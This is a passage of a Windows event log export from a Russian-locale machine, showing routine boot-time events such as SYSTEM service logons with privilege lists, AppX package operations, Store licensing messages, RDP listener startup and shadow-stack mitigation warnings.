Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.203\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.227\t100\tError 0x15: misuse at line 185353 of [737ae4a347]\tError\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.229\t939\tAppxsvc lifecycle transition to Starting (Checkpoint=2)\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.232\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.232\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.235\t8000\t\"Process Name: C:\\WINDOWS\\system32\\services.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:01.235\t940\tAppxsvc lifecycle transition to Running (Checkpoint=4)\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.236\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:01.237\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:01.240\t231\tRepositoryManagerServerUpgrade with options: 0x1\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.245\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.254\t20523\tConnection from listener RDP-Tcp will have terminal class of {5828227c-20cf-4408-b73f-73ab70b8849f}\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.263\t100\tClipSVC service is starting.  Caller: \tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:01.268\t21\t\"Remote Desktop Services: Session logon succeeded:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\nSource Network Address: \u041b\u041e\u041a\u0410\u041b\u042c\u041d\u042b\u0415\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.269\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.271\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.271\t1003\t\"CDE reported a state change \n\n State: Connected. Service is running. \n\n Name: Wlansvc.\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.274\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.275\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:01.281\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.281\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.309\t603\tStarted deployment DeStage operation on a package with main parameter MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy and Options RemoveForAllUsers and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.309\t70\tThe listener listens with display driver rdpudd.dll available.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.312\t210\tCreated Desktop AppX container {245CDABB-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:01.312\t211\tAdded process 7712 to Desktop AppX container 245cdabb-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:01.315\t129\tThe server is using TCP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.316\t129\tThe server is using TCP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.318\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0421\u0435\u0442\u0435\u0432\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Bluetooth\nInterfaceIndex: 0xC\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:01.318\t1040\tReceived Mib notification type MibAddInstance for interface 12\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:01.318\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 12. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:01.318\t129\tThe server is using UDP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.319\t129\tThe server is using UDP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.320\t258\tListener RDP-Tcp has started listening\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.324\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.324\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f207243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe7d940, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f1ffda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72540, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f2090c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72549, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f2006ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72568, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.328\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f1f89fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72560, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.338\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_1.rslc for Remove Operation on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.341\t607\tDeployment Remove operation on package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.359\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource 